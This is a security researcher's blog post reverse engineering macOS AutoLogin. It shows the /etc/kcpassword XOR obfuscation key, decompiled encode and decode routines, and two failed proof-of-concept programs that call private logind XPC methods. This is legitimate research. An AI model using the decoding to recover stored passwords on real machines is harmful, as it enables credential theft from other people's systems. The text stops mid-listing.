In the Hunt for the macOS AutoLogin Setup Process

Sep 26, 2022
Csaba Fitzl

Csaba Fitzl

Content Developer

On macOS when we setup user AutoLogin, the system will store the obfuscated user password in the file /etc/kcpassword. The password is simply XORed with a well known value, padded and finally stored in
this file. This is very well known, especially in the MacAdmin or Mac forensics community. I was curious and wanted to find out the answer for the following items:

  • Which process creates the /etc/kcpassword file?
  • Where is the obfuscation byte code stored?

When I started to look for these answers, I quickly became curious by the following:

  • What are the steps and processes involved in this system configuration, from the moment we configure macOS AutoLogin in System Preferences?

I was naive and thought that this should be something quick, but I couldn’t be more wrong. While answering the first two questions was indeed quick and easy, the last one turned out to be quite intensive and it led me down a huge rabbit hole of interconnected processes mess. It turned out that achieving this simple thing, four different
processes are involved. For those who are familiar with macOS security, this might not be surprising at all, but I truly believed that in this case we don’t end up in inter process communication (IPC) madness.

In this blogpost I will share my journey of the whole reverse engineering process, including the walls I hit, and the times when I really resorted to trial-and-error approaches. We often talk only about our success, but not our failures, which I think can be at least as informative – if not more. With that, let’s begin.

macOS AutoLogin

Before we jump into the reverse engineering, let’s examine how macOS AutoLogin is actually setup normally. We can configure this feature in System Preferences, under the “Users & Groups” pane, and select “Login Options”.

This pane is normally grayed out, and we need to authenticate as an admin user to unlock it. Once it’s done, we can select a user for “Automatic login”, and we will be prompted again for the password as shown below:

Once we enter it, macOS will verify it, and set loginwindow preferences, and the /etc/kcpassword file. That’s it.

Let’s also explore what is already known about this process.

What MacAdmins know

The previously explained process can’t be automated in machine deployments as it requires user interaction, and thus macOS admins came up with a solution for how to do this out-of-band. Turns out that it’s rather easy to do.

There are ready made scripts to setup macOS Auto Login, for example: GitHub – xfreebird/kcpassword: OS X autologin enabler
utility
. We will use this to explain the steps. First we need to set global com.apple.loginwindow
preferences, and configure the username under the autoLoginUser key.
This is shown below.

sudo /usr/bin/defaults write /Library/Preferences/com.apple.loginwindow autoLoginUser "username"

Listing – Setting loginwindow preferences

As this is a system wide setting we need root level access to perform this.

The second step is actually creating the /etc/kcpassword file, with the obfuscated password. This is rather simple, we simply need to XOR the password with the magic bytes, which are:

0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F

Listing – kcpassword magic bytes

If the password is longer, they are repeated. The python script in the repo will perform the obfuscation and create the file. Again, as only the root user can write under /etc, we will need elevated access.

Now that we know all these steps, let’s start our journey.

Which process creates the /etc/kcpassword file?

This is probably the easiest question to answer. We can use the built-in fs_usage utility and monitor for file system access. This is what I did. I fired up this tool, and then I went to preferences, and setup macOS AutoLogin through the GUI.

csaby@mantarey ~ % sudo fs_usage | grep kcpassword
Password:
13:15:24  stat64            private/etc/kcpassword                                                           0.000024   logind
13:15:24  open              private/etc/kcpassword                                                           0.000113   logind
13:15:24  chmod             private/etc/kcpassword                                                           0.000048   logind
13:15:24    WrData[A]       private/etc/kcpassword                                                           0.000124 W logind

Listing – Using fs_usage to find the process

We have the output shown above, and the answer to our question is that logind sets up the file. We can spot the WrData operation confirming that it does indeed write data to the file.

I wish everything was so easy to figure out! Let’s move on.

Where is the obfuscation byte code stored?

We know that logind creates the file, so the logical place to look for this string is that process. logind is located at /System/Library/CoreServices/logind. We will use Hopper for inspection.

Once it’s loaded we can search in Hopper for byte streams under “Find > Find” menu.

Once we hit search our string is found.

        ; Section __const
        ; Range: [0x100013df0; 0x100013e10[ (32 bytes)
        ; File offset : [81392; 81424[ (32 bytes)
        ;   S_REGULAR

                     obfuscation_string:
0000000100013df0         db  0x7d ; '}' ; DATA XREF=sub_10000319d+135, -[SessionAgent SA_SetAutologinPassword:reply:]+241
0000000100013df1         db  0x89 ; '.'
0000000100013df2         db  0x52 ; 'R'
0000000100013df3         db  0x23 ; '#'
0000000100013df4         db  0xd2 ; '.'
0000000100013df5         db  0xbc ; '.'
0000000100013df6         db  0xdd ; '.'
0000000100013df7         db  0xea ; '.'
0000000100013df8         db  0xa3 ; '.'
0000000100013df9         db  0xb9 ; '.'
0000000100013dfa         db  0x1f ; '.'

Listing – The hex bytes

We find that’s referenced in two location, one is a method SA_SetAutologinPassword:reply:. Let’s examine it.

    if (r13 != 0x0) {
            rcx = 0x0;
            rsi = obfuscation_string;
            do {
                    *(int8_t *)(r12 + rcx) = *(int8_t *)(r12 + rcx) ^ *(int8_t *)rsi;
                    rsi = rsi + 0x1;
                    if (rsi == 0x100013dfb) {
                            rsi = obfuscation_string;
                    }
                    rcx = rcx + 0x1;
            } while (r13 != rcx);
    }
    rax = open("/etc/kcpassword", 0x301);
    r15 = var_38;
    if (rax < 0x0) goto loc_100003f55;

loc_100003ef8:
    rbx = rax;
    rax = write(rax, r12, r13);

Listing – SA_SetAutologinPassword:reply: function

If we take a closer look, we find a loop, which performs the XOR operation, and finally saves the file.

The other function where this magic byte code being referenced is a C function.

void sub_10000319d() {
    rax = [NSData dataWithContentsOfFile:@"/etc/kcpassword"];
    rax = [rax retain];
    r14 = rax;
    if (rax != 0x0) {
            rax = [r14 length];
            r15 = rax;
            rbx = malloc(rax);
            memmove(rbx, [objc_retainAutorelease(r14) bytes], r15);
            if (r15 != 0x0) {
                    rax = r15;
                    rdx = 0x0;
                    rdi = obfuscation_string;
                    do {
                            *(int8_t *)(rbx + rdx) = *(int8_t *)(rbx + rdx) ^ *(int8_t *)rdi;
                            rdi = rdi + 0x1;
                            if (rdi == 0x100013dfb) {
                                    rdi = obfuscation_string;
                            }
                            rdx = rdx + 0x1;
                    } while (rax != rdx);
            }
            r15 = [[NSString stringWithUTF8String:rbx] retain];
            free(rbx);
    }
    else {
            r15 = @"";
    }
    [r14 release];
    [r15 autorelease];
    return;
}

Listing – sub_10000319d function

This function, does the opposite as the one we checked previously, it opens the file, and decodes the password. This function is being referenced by a single method SA_CopyAutologinPassword:.

/* @class SessionAgent */
-(void)SA_CopyAutologinPassword:(void *)arg2 {
    r14 = [arg2 retain];
    rax = sub_10000319d();
    rax = [rax retain];
    rbx = rax;
    if ((rax == 0x0) || ([rbx length] == 0x0)) {
            DBLoggingLogWithFormat(0x0, @"%s:%d: ERROR: %@", "-[SessionAgent SA_CopyAutologinPassword:]", 0x1cf, CFStringCreateWithFormat(**_kCFAllocatorDefault, 0x0, @"No ALPW"));
            CFRelease(rax);
            [rbx release];
            rbx = 0x0;
    }
    (*(r14 + 0x10))(r14);
    [rbx release];
    [r14 release];
    return;
}

Listing – SA_CopyAutologinPassword: function

So far we know that logind is responsible for the file creation, and it stores the magic bytes hardcoded in the functions. For now also let’s take a note of the SA_SetAutologinPassword:reply: method name.
The fact that the last part is reply: indicates that it might be a function offered by an XPC service.

macOS Auto Login in Source Code

I made a side step and I wanted to find out if there is any reference to this AutoLogin in any open source code published by Apple. I decided that probably the best way of doing that is searching for the /etc/kcpassword file reference.

There are several ways doing that, we download all Apple OSS tarballs, extract them and grep for /etc/kcpassword , or use Google or GitHub. In the past Apple published their source code on opensource.apple.com. The following Google search "/etc/kcpassword" site:opensource.apple.com, brings up a single result:

https://opensource.apple.com/source/Security/Security-57740.1.18/OSX/libsecurity_keychain/lib/SecKeychain.cpp

Alternatively we can also search Apple’s GitHub, where they store all code nowadays. Eventually we get to the same file, but with a newer version:

Security/SecKeychain.cpp at 154ef3d9d6f57f0374aa5d6c4b412e8653c1eebe · apple-oss-distributions/Security · GitHub

If we examine this file, we find a couple of interesting variables and function.

static const char     *kAutologinPWFilePath = "/etc/kcpassword";
static const uint32_t kObfuscatedPasswordSizeMultiple = 12;
static const uint32_t buffer_size = 512;
static const uint8_t  kObfuscationKey[] = {0x7d, 0x89, 0x52, 0x23, 0xd2, 0xbc, 0xdd, 0xea, 0xa3, 0xb9, 0x1f};

static void obfuscate(void *buffer, size_t bufferLength)
{
    uint8_t       *pBuf = (uint8_t *) buffer;
    const uint8_t *pKey = kObfuscationKey, *eKey = pKey + sizeof( kObfuscationKey );

    while (bufferLength--) {
        *pBuf = *pBuf ^ *pKey;
        ++pKey;
        ++pBuf;
        if (pKey == eKey)
            pKey = kObfuscationKey;
    }
}

static bool _SASetAutologinPW(CFStringRef inAutologinPW)
{
    bool    result = false;
    struct stat sb;

    // Delete the kcpassword file if it exists already
    if (stat(kAutologinPWFilePath, &sb) == 0)
        unlink( kAutologinPWFilePath );

    // NIL incoming password ==> clear auto login password (above) without setting a new one. In other words: turn auto login off.
    if (inAutologinPW != NULL) {
        char buffer[buffer_size];
        const char *pwAsUTF8String = CFStringGetCStringPtr(inAutologinPW, kCFStringEncodingUTF8);
        if (pwAsUTF8String == NULL) {
            if (CFStringGetCString(inAutologinPW, buffer, buffer_size, kCFStringEncodingUTF8)) pwAsUTF8String = buffer;
        }

        if (pwAsUTF8String != NULL) {
            size_t pwLength = strlen(pwAsUTF8String) + 1;
            size_t obfuscatedPWLength;
            char *obfuscatedPWBuffer;

            // The size of the obfuscated password should be the smallest multiple of
            // kObfuscatedPasswordSizeMultiple greater than or equal to pwLength.
            obfuscatedPWLength = (((pwLength - 1) / kObfuscatedPasswordSizeMultiple) + 1) * kObfuscatedPasswordSizeMultiple;
            obfuscatedPWBuffer = (char *) malloc(obfuscatedPWLength);

            // Copy the password (including null terminator) to beginning of obfuscatedPWBuffer
            bcopy(pwAsUTF8String, obfuscatedPWBuffer, pwLength);

            // Pad remainder of obfuscatedPWBuffer with random bytes
            {
                char *p;
                char *endOfBuffer = obfuscatedPWBuffer + obfuscatedPWLength;

                for (p = obfuscatedPWBuffer + pwLength; p < endOfBuffer; ++p)
                    *p = random() & 0x000000FF;
            }

            obfuscate(obfuscatedPWBuffer, obfuscatedPWLength);

            int pwFile = open(kAutologinPWFilePath, O_CREAT | O_WRONLY | O_NOFOLLOW, S_IRUSR | S_IWUSR);
            if (pwFile >= 0) {
                size_t wrote = write(pwFile, obfuscatedPWBuffer, obfuscatedPWLength);
                if (wrote == obfuscatedPWLength)
                    result = true;
                close(pwFile);
            }

            chmod(kAutologinPWFilePath, S_IRUSR | S_IWUSR);
            free(obfuscatedPWBuffer);
        }
    }

    return result;
}

Listing – SecKeychain.cpp

First we have the kObfuscationKey static variable, which stores the XOR key. The obfuscate function can be used for coding and decoding of the password, and finally we have the _SASetAutologinPW, which sets the macOS AutoLogin password. If we read the code and comments we learn that the maximum password length is 512, and that the obfuscated password should be multiply of 12 (key length) and the password will be padded if shorter.

Strangely this source code is part of the keychain library. Although the source code is not directly of logind, we can still confirm, that it’s very similar, and we also learned a few new items. It’s probably being reused.

At this point I also wanted to see if other binaries refer to the /etc/kcpassword file.

Other Binaries

Unfortunately since Big Sur, macOS comes with a dyld shared cache, which contains all the system shared libraries in a single, optimized file, and the individual binaries are not present. This creates a challenge in performing any reverse engineering or search for give functionality. Although disassembler, like Hopper or IDA Pro can handle the cache, and open the included frameworks one by one, the result is not the same as if we had the raw files, as well as it doesn’t scale well.

To partially overcome this, we can use the built-in dyld_shared_cache_util to extract the various shared files. The below command will extract all into the directory shared_cache_12.3.

csaby@mac ~ % dyld_shared_cache_util -extract shared_cache_12.3 /System/Library/dyld/dyld_shared_cache_x86_64

Listing – Extracting the shared cache

Now, we will search a couple of location for kcpassword reference, the extracted shared files, /usr/ and /System/Library. We also exclude the dyld shared cache folder form the search, as it’s always matched anyway.

csaby@mac ~ % rg --binary kcpassword -g '!dyld/' shared_cache_12.3/ /usr/ /System/Library 2>/dev/null
/System/Library/Frameworks/Security.framework/Versions/A/MachServices/authorizationhost.bundle/Contents/MacOS/authorizationhost: binary file matches (found "\0" byte around offset 4)

/System/Library/CoreServices/Setup Assistant.app/Contents/Resources/mbsystemadministration: binary file matches (found "\0" byte around offset 4)

/System/Library/CoreServices/logind: binary file matches (found "\0" byte around offset 4)

/System/Library/CoreServices/sessionlogoutd: binary file matches (found "\0" byte around offset 4)

shared_cache_12.3/System/Library/PrivateFrameworks/SystemAdministration.framework/Versions/A/SystemAdministration: binary file matches (found "\0" byte around offset 5)

shared_cache_12.3/System/Library/PrivateFrameworks/TimeMachine.framework/Versions/A/TimeMachine: binary file matches (found "\0" byte around offset 5)

shared_cache_12.3/System/Library/PrivateFrameworks/SystemMigration.framework/Versions/A/SystemMigration: binary file matches (found "\0" byte around offset 5)

shared_cache_12.3/System/Library/Frameworks/Security.framework/Versions/A/Security: binary file matches (found "\0" byte around offset 5)

Listing – Searching kcpassword events

There are a couple of binaries. I didn’t went and checked them one by one, but it gives the impression that it’s being used extensively.

Beyond that I was curious if the function name SASetAutologinPW exists anywhere, so I did a similar search.

csaby@mac ~ % rg --binary SASetAutologinPW -g '!dyld/' shared_cache_12.3/ /usr/ /System/Library 2>/dev/null

/System/Library/CoreServices/loginwindow.app/Contents/MacOS/loginwindow: binary file matches (found "\0" byte around offset 4)

/System/Library/CoreServices/Setup Assistant.app/Contents/Resources/mbsystemadministration: binary file matches (found "\0" byte around offset 4)

shared_cache_12.3/System/Library/PrivateFrameworks/login.framework/Versions/A/login: binary file matches (found "\0" byte around offset 5)

Listing – Searching for SASetAutologinPW

This gives us another framework, login.

Since there was a possible XPC function, at this point I wanted to find out if I can programmatically update the /etc/kcpassword file, and if I can do that as a simple user without being root. This is where things got crazy.

Communicating with logind

Where next? Since we never directly interact with logind we can safely assume that it offers an XPC/Mach service to update the file somehow, this resonates with the method name we saw earlier, SA_SetAutologinPassword:reply:. Let’s check logind’s launchd file.

csaby@mac ~ % cat /System/Library/LaunchDaemons/com.apple.logind.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>POSIXSpawnType</key>
    <string>Interactive</string>
    <key>KeepAlive</key>
    <true/>
    <key>RunAtLoad</key>
    <true/>
    <key>ProgramArguments</key>
    <array>
        <string>/System/Library/CoreServices/logind</string>
    </array>
    <key>Label</key>
    <string>com.apple.logind</string>
    <key>MachServices</key>
    <dict>
        <key>com.apple.logind</key>
        <dict>
            <key>HideUntilCheckIn</key>
            <false/>
            <key>ResetAtClose</key>
            <false/>
        </dict>
    </dict>
</dict>
</plist>

Listing – com.apple.logind.plist

Indeed, we find a Mach service, with the name com.apple.logind. Let’s try to find out which binary calls it. Normally the way these XPC services are setup from the client perspective is that there is an API call in one of the framework wrapping the XPC call. Thus, a client can simply call the public API, which will do the XPC communication
behind the scenes with the XPC service. For that we need to find out which framework refers to this XPC service.

By doing a quick search for the service string we find that the login private framework references is. We can also check what symbols are exported by the framework, which might be related, I looked for the string Auto between the symbols.

csaby@mac ~ % nm shared_cache_12.3/System/Library/PrivateFrameworks/login.framework/Versions/A/login | grep Auto
00007ff80c85c067 T _SACSetAutoLoginPassword
00007ff80c859101 T _SACopyAutologinPW
00007ff80c858520 T _SASetAutoLoginUserScreenLocked
00007ff80c858fd5 T _SASetAutologinPW
00007ff80c85c206 t ___SACSetAutoLoginPassword_block_invoke
00007ff80c859252 t ___SACopyAutologinPW_block_invoke
00007ff80c85863c t ___SASetAutoLoginUserScreenLocked_block_invoke
00007ff80c8590f0 t ___SASetAutologinPW_block_invoke

Listing – Symbols containing “Auto” in the login framework

_SACopyAutologinPW and _SASetAutologinPW sound promising.

If we load the framework into Hopper, we run into some issues.

int _SASetAutologinPW(int arg0) {
    r12 = arg0;
    rbx = &var_40;
    *rbx = 0x0;
    *(rbx + 0x8) = rbx;
    *(rbx + 0x10) = 0x2020000000;
    *(int32_t *)(rbx + 0x18) = 0x16;
    rdi = *_kLFDBFlag_SA_General;
    rax = rdi >> 0x3c;
    TEST(*(*_gDBLoggingMasks + rax * 0x8) & rdi);
    if (rax != 0x0) {
            DBLoggingLogWithFormat();
    }
    r15 = *_gDBLoggingMasks;
    rax = _LogindRemoteObjectProxy();
    var_68 = *__NSConcreteStackBlock;
    *(&var_68 + 0x8) = 0xffffffffc2000000;
    *(&var_68 + 0x10) = ___SASetAutologinPW_block_invoke;
    *(&var_68 + 0x18) = ___block_descriptor_40_e8_32r_e8_v12?0i8l;
    *(&var_68 + 0x20) = rbx;
    (*_objc_msgSend)(rax, *0x7ff84259a838);
    rdi = *_kLFDBFlag_SA_General;
    rax = rdi >> 0x3c;
    TEST(*(r15 + rax * 0x8) & rdi);
    if (rax != 0x0) {
            DBLoggingLogWithFormat();
    }
    rbx = *(int32_t *)(*(&var_40 + 0x8) + 0x18);
    _Block_object_dispose(&var_40, 0x8);
    rax = rbx;
    return rax;
}

Listing – _SASetAutologinPW disassembly

Since it’s taken from the shared_cache, some information is lost, and the line (*_objc_msgSend)(rax, *0x7ff84259a838); is not very informative. This is where having access to an older Catalina VM becomes handy, as that still had the files. Although things obviously can change, many times it still gives plenty of more information. So copying an old login framework, and opening it, we can find more
info.

int _SASetAutologinPW(int arg0) {
    r12 = arg0;
    rbx = &var_40;
    *rbx = 0x0;
    *(rbx + 0x8) = rbx;
    *(rbx + 0x10) = 0x2020000000;
    *(int32_t *)(rbx + 0x18) = 0x16;
    rdi = *_kLFDBFlag_SA_General;
    rax = rdi >> 0x3c;
    TEST(*(*_gDBLoggingMasks + rax * 0x8) & rdi);
    if (rax != 0x0) {
            DBLoggingLogWithFormat();
    }
    r15 = *_gDBLoggingMasks;
    rax = _LogindRemoteObjectProxy();
    var_68 = *__NSConcreteStackBlock;
    *(&var_68 + 0x8) = 0xffffffffc2000000;
    *(&var_68 + 0x10) = ___SASetAutologinPW_block_invoke;
    *(&var_68 + 0x18) = ___block_descriptor_40_e8_32r_e8_v12?0i8l;
    *(&var_68 + 0x20) = rbx;
    [rax SASetAutologinPassword:r12 reply:rcx];
    rdi = *_kLFDBFlag_SA_General;
    rax = rdi >> 0x3c;
    TEST(*(r15 + rax * 0x8) & rdi);
    if (rax != 0x0) {
            DBLoggingLogWithFormat();
    }
    rbx = *(int32_t *)(*(&var_40 + 0x8) + 0x18);
    _Block_object_dispose(&var_40, 0x8);
    rax = rbx;
    return rax;
}

Listing – _SASetAutologinPW disassembly (Catalina version)

The previously unknown call know properly shows up as [rax SASetAutologinPassword:r12 reply:rcx];. rax contains and instance of LogindRemoteObjectProxy. If we check what is that, we can quickly find that it’s an XPC connection handler.

int _LogindRemoteObjectProxy() {
    if (*_LogindRemoteObjectProxy.onceToken != 0xffffffffffffffff) {
            dispatch_once(_LogindRemoteObjectProxy.onceToken, ^ {/* block implemented at ___LogindRemoteObjectProxy_block_invoke */ } });
    }
    dispatch_semaphore_wait(*_gLogindConnectionSemaphore, 0xffffffffffffffff);
    if (*_gLogindConnection == 0x0) {
            rax = [LFLogindConnection alloc];
            rax = [rax init];
            *_gLogindConnection = rax;
            if (*_gLogindConnectionMessageHandler != 0x0) {
                    rax = *_kLFDBFlag_SM_General;
                    rcx = rax >> 0x3c;
                    TEST(*(*_gDBLoggingMasks + rcx * 0x8) & rax);
                    if (rcx != 0x0) {
                            DBLoggingLogWithFormat(*_kLFDBFlag_SM_General, @"%s:%d: %@", "LogindRemoteObjectProxy", 0x7d, CFStringCreateWithFormat(**_kCFAllocatorDefault, 0x0, @" add interface and message handler"));
                            CFRelease(rax);
                    }
                    [*_gLogindConnection setExportedInterface:[NSXPCInterface interfaceWithProtocol:@protocol(LFLogindConnectionInterface)]];
                    [*_gLogindConnection setExportedObject:*_gLogindConnectionMessageHandler];
                    rax = *_gLogindConnection;
            }
            [rax resume];
    }
    rbx = [[*_gLogindConnection connection] synchronousRemoteObjectProxyWithErrorHandler:^ {/* block implemented at ___LogindRemoteObjectProxy_block_invoke_2 */ } }];
    dispatch_semaphore_signal(*_gLogindConnectionSemaphore);
    rax = rbx;
    return rax;
}

Listing – _LogindRemoteObjectProxy disassembly (Catalina version)

Based on the names LFLogindConnectionInterface, _gLogindConnection, etc… we can conclude that it’s a connection to logind. So far so good, it all makes sense. I didn’t want to deal with the XPC interface, the API sounded easier.

I went ahead and crafted my very first code, to call the previously discussed API and see what happens. I hoped for updating the kcpassword file.

#include <dlfcn.h>
#import <Foundation/Foundation.h>

bool (*_SASetAutologinPW)(CFStringRef);

int main()
{

    _SASetAutologinPW = 0;
    void *login_framework = dlopen("/System/Library/PrivateFrameworks/login.framework/Versions/A/login", RTLD_LAZY);
    if(login_framework == NULL) {
        NSLog(@"Couldn't load login framework");
        exit(0);
    }

    _SASetAutologinPW = dlsym(login_framework, "SASetAutologinPW");

    if(_SASetAutologinPW == 0) {
        NSLog(@"Couldn't find symbol SASetAutologinPW");
        exit(0);
    }

    NSString* password = @"blablabla";

    bool result = _SASetAutologinPW((__bridge CFStringRef) password);
    if(result) {
        NSLog(@"Success");
    } else {
        NSLog(@"Failure");
    }

}

Listing – First POC

Here we load the framework, lookup the API, and try to call it. If we
run, we get a failure. Damn. :(

csaby@mantarey ~ % ./login1
2022-03-23 16:12:51.495 login1[1423:23521] Failure

Listing – Running our POC

Let’s try it again, with monitoring logs.

csaby@mantarey ~ % log stream --debug | grep login
2022-03-23 16:14:22.063407+0100 0x606d     Activity    0xff90               1451   0    login1: (libsystem_info.dylib) Retrieve User by ID
2022-03-23 16:14:22.070787+0100 0x5f9c     Activity    0xfc41               130    0    logind: (libsystem_trace.dylib) Activity for state dumps
2022-03-23 16:14:22.070634+0100 0x5f9c     Fault       0xfc41               130    0    logind: (Foundation) [com.apple.Foundation:xpc.exceptions] <NSXPCConnection: 0x7fd2ecf146a0> connection from pid 1451 on mach service named com.apple.logind: Exception caught during decoding of received selector SASetAutologinPassword:reply:, dropping incoming message.
Exception: <NSXPCDecoder: 0x7fd2ed011e00> received a message or reply block that is not in the interface of the remote object (SASetAutologinPassword:reply:), dropping.
2022-03-23 16:14:22.071920+0100 0x606d     Default     0x0                  1451   0    login1: (loginsupport) [com.apple.login:SA_General] SASetAutologinPW: exit: result = 22

Listing – Monitoring logs for erros

We find an XPC error message from logind. It claims that the “reply block that is not in the interface of the remote object”. On one side I was happy as clearly I could communicate with login, but something was wrong. I have never seen this error before, and hunting for answers on the Internet didn’t help either. Honestly I was clueless what goes on. I checked the function implementation in the login framework plenty of times, and had no idea what goes on. The framework setup everything properly, so it should have worked.

I also tried calling SACopyAutologinPW, but similarly it didn’t work.

My thought was (wrongly) that I also need to setup an XPC interface, where login can make some callbacks. This design is quite common, but it wasn’t the case here, although I didn’t know it yet.

At this point I decided to handcraft the XPC call myself. Since I needed the protocol definition, I tried to make a class-dump on the extracted login framework but that failed. So I did it on the old one from macOS Catalina. Yes, it’s older, and actually things changed, but it’s still good enough to keep going.

The LFLogindListenerInterface protocol seemed promising as it had the call SASetAutologinPassword:reply: as well as SACopyAutologinPassword:. Time for a second try. Here is the new code.

#import <Foundation/Foundation.h>

@protocol LFLogindListenerInterface <NSObject>
- (void)SMMoveSessionToConsoleTemporaryBridge:(NSDictionary *)arg1 reply:(void (^)(int))arg2;
- (void)SMReleaseSessionTemporaryBridge:(NSDictionary *)arg1 reply:(void (^)(int))arg2;
- (void)SMCreateSessionTemporaryBridge:(NSDictionary *)arg1 reply:(void (^)(int, unsigned int))arg2;
- (void)SMReconnectSessionID:(int)arg1 onConsole:(BOOL)arg2 reply:(void (^)(int, int))arg3;
- (void)SMGetSessionUserInfo:(void (^)(int, NSDictionary *))arg1;
- (void)SMSetSessionUserInfo:(NSDictionary *)arg1 reply:(void (^)(int))arg2;
- (void)SMGetSessionOwnerConnection:(void (^)(int, NSXPCListenerEndpoint *))arg1;
- (void)SMRegisterSessionOwner:(NSXPCListenerEndpoint *)arg1 reply:(void (^)(int))arg2;
- (void)SMGetSessionAgentConnection:(void (^)(int, NSXPCListenerEndpoint *))arg1;
- (void)SMRegisterSessionAgent:(NSXPCListenerEndpoint *)arg1 reply:(void (^)(int))arg2;
- (void)SMSignalNewSessionReady:(void (^)(int))arg1;
- (void)SMCloseSession:(int)arg1 reply:(void (^)(int))arg2;
- (void)SMGetSessionIDForSessionWithUserID:(unsigned int)arg1 reply:(void (^)(int, int))arg2;
- (void)SMGetSessionIDForSessionWithCGSessionID:(unsigned int)arg1 reply:(void (^)(int, int))arg2;
- (void)SMCreateSessionWithOptions:(NSDictionary *)arg1 byStartingServer:(NSXPCListenerEndpoint *)arg2 reply:(void (^)(int, int))arg3;
- (void)SMGetSessionProperties:(int)arg1 reply:(void (^)(int, NSDictionary *))arg2;
- (void)SMSwitchToSession:(int)arg1 withOptions:(NSDictionary *)arg2 reply:(void (^)(int))arg3;
- (void)SMCreateSessionWithOptions:(NSDictionary *)arg1 reply:(void (^)(int, int))arg2;
- (void)SMIsThisSessionOnConsole:(void (^)(int, BOOL))arg1;
- (void)SMGetCurrentSessionID:(void (^)(int, int))arg1;
- (void)SMGetAllSessions:(void (^)(int, NSArray *))arg1;
- (void)SAPrepareForSetupUserScreenShots:(void (^)(int))arg1;
- (void)SAClearLWScreenShots:(void (^)(int))arg1;
- (void)SASetPreviousStartupWasPanic:(BOOL)arg1 reply:(void (^)(int))arg2;
- (void)SAWriteKeyboardType:(int)arg1 productID:(int)arg2 vendorID:(int)arg3 countryCode:(int)arg4 reply:(void (^)(int))arg5;
- (void)SASetSessionStateForUser:(unsigned int)arg1 state:(int)arg2 reply:(void (^)(int))arg3;
- (void)SASystemNotifyPost:(const char *)arg1 reply:(void (^)(int))arg2;
- (void)SACopyAutologinPassword:(void (^)(int, NSString *))arg1;
- (void)SASetAutologinPassword:(NSString *)arg1 reply:(void (^)(int))arg2;
- (void)SAClearSoftwareUpdateOptions:(void (^)(int))arg1;
- (void)SAClearLaunchSoftwareUpdateTrigger:(void (^)(int))arg1;
- (void)SASetLaunchSoftwareUpdateTrigger:(void (^)(int))arg1;
- (void)SASetSoftwareUpdateOptionKey:(NSString *)arg1 value:(NSString *)arg2 reply:(void (^)(int))arg3;
- (void)SASetSCDynamicStoreConsoleUserName:(const char *)arg1 uniqueID:(unsigned int)arg2 groupID:(unsigned int)arg3 sessions:(NSArray *)arg4 reply:(void (^)(int))arg5;
- (void)SASetSwapCompactionEnabled:(BOOL)arg1 reply:(void (^)(int))arg2;
- (void)SASetSessionHasConsoleAccessFlag:(BOOL)arg1 reply:(void (^)(int))arg2;
- (void)SASetSessionAuthenticatedFlag:(void (^)(int))arg1;
- (void)SASetAutoLoginUserScreenLocked:(BOOL)arg1 reply:(void (^)(int))arg2;
@end

static NSString* XPCHelperMachServiceName = @"com.apple.logind";


int main()
{

    NSString*  service_name = XPCHelperMachServiceName;

    NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];

    NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(LFLogindListenerInterface)];

    [connection setRemoteObjectInterface:interface];

    [connection resume];

    id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error)
    {
        NSLog(@"[-] Something went wrong");
        NSLog(@"[-] Error: %@", error);
    }];

    NSLog(@"obj: %@", obj);
    NSLog(@"conn: %@", connection);

    [obj SASetAutologinPassword:@"password" reply:^(int response) {
        NSLog(@"SASetAutologinPassword Response: %d", response);
        }];

    [NSThread sleepForTimeInterval:10.0f];

    NSLog(@"Done");

}

Listing – Second POC

Let’s run it! Fingers crossed!

csaby@mantarey ~ % ./login2
2022-03-23 16:33:51.705 login2[1649:31797] obj: <__NSXPCInterfaceProxy_LFLogindListenerInterface: 0x600001dec0a0>
2022-03-23 16:33:51.705 login2[1649:31797] conn: <NSXPCConnection: 0x600000fe8140> connection to service named com.apple.logind
2022-03-23 16:33:51.707 login2[1649:31809] [-] Something went wrong
2022-03-23 16:33:51.707 login2[1649:31809] [-] Error: Error Domain=NSCocoaErrorDomain Code=4097 "connection to service named com.apple.logind" UserInfo={NSDebugDescription=connection to service named com.apple.logind}
2022-03-23 16:34:01.707 login2[1649:31797] Done

Listing – Running the Second POC

Damn, again, we get an error. :( If we check the logs:

2022-03-23 16:33:51.706369+0100 0x7b45     Fault       0xfc42               130    0    logind: (Foundation) [com.apple.Foundation:xpc.exceptions] <NSXPCConnection: 0x7fd2ed817290> connection from pid 1649 on mach service named com.apple.logind: Exception caught during decoding of received selector SASetAutologinPassword:reply:, dropping incoming message.
Exception: <NSXPCDecoder: 0x7fd2ee01a400> received a message or reply block that is not in the interface of the remote object (SASetAutologinPassword:reply:), dropping.

Listing – Erros in the logs for the second POC

Basically we get the same error. I started to look more in depth in the service, when I finally identified the issue. The LFlogindListenerDelegate class is responsible for handling the connection.

/* @class LFlogindListenerDelegate */
-(char)listener:(void *)arg2 shouldAcceptNewConnection:(void *)arg3 {
    r15 = self;
    var_30 = arg3;
    rax = [arg3 valueForEntitlement:@"com.apple.private.logind.spi"];
    if (rax != 0x0) {
            rbx = rax;
            if (([rbx isKindOfClass:[NSNumber class]] != 0x0) && ([rbx boolValue] == 0x1)) {
                    rbx = [[r15 listener] privilegedInterface];
                    r13 = [NSXPCInterface interfaceWithProtocol:@protocol(LFLogindConnectionInterface)];
            }
            else {
                    rbx = [[r15 listener] interface];
                    r13 = 0x0;
            }
    }
    else {
            rbx = [[r15 listener] interface];
            r13 = 0x0;
    }
    rdx = rbx;
    rbx = var_30;
    [var_30 setExportedInterface:rdx];
    [rbx setExportedObject:[[r15 listener] messageHandler]];
    if (r13 != 0x0) {
            [rbx setRemoteObjectInterface:r13];
    }
    [rbx resume];
    return 0x1;
}

Listing – The listener:shouldAcceptConnection: method in LFlogindListenerDelegate

Interestingly the connection is always accepted as the listener: shouldAcceptNewConnection: method always returns 1, but depending on whether we have the entitlement com.apple.private.logind.spi or not, we get access to other functionality. Basically the LFLogindConnectionInterface interface is only exposed if we have the entitlement, otherwise not. This is a problem, as it’s a private Apple entitlement, so we can’t have it. Basically what happened is that the connection was accepted, but the interface was not exposed, and thus we get an exception.

Ok, so what else can we call then? Looking at the other handlers, we can reach LFSessionAgentConnectionInterface.

/* @class LFSessionAgentListenerDelegate */
